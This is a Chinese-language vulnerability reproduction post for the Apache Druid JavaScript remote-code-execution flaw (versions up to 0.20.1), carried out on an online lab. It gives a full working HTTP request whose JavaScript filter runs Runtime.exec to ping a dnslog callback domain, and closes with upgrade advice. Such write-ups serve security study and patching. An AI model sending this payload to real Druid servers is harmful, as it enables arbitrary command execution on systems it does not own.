Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。 Apache Druid包括执行用户提供的Javascript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码
影响版本:Apache Druid <= 0.20.1
环境搭建:采用在线环境 地址
漏洞复现:访问首页,点击Load data进行上传
点击Local disk
填写路径以及上传的gz文件
base directory: quickstart/tutorial/
File filter: wikiticker-2015-09-12-sampled.json.gz
点击preview进行上传
上传成功后,点击下一步,直到抓取到filter页面
替换数据包中POST的Data数据,改成我们的POC,cacheKey值换成自己的,dnslog申请一个地址
POST /druid/indexer/v1/sampler?for=filter HTTP/1.1 Host: vulfocus.fofa.so:12795 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Content-Length: 647 Origin: http://vulfocus.fofa.so:12795 Connection: close Referer: http://vulfocus.fofa.so:12795/unified-console.html cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1635834194,1635834251; grafana_session=4ed2fe8aecc214c9bbb634d8399014fb; Hm_lvt_deaeca6802357287fb453f342ce28dda=1640670569; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1640670569 X-Forwarded-For: 127.0.0.1 {"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('ping ezy5pk.dnslog.cn -c 1')}","dimension":"added","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"e5caf7d5cf9c46c08712bc10f3a921c0"}}
执行poc,访问我们申请的网址
看到有回显
漏洞防御:
关注官方消息,及时更新Apache Druid,
下载链接为:https://druid.apache.org/downloads.html
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)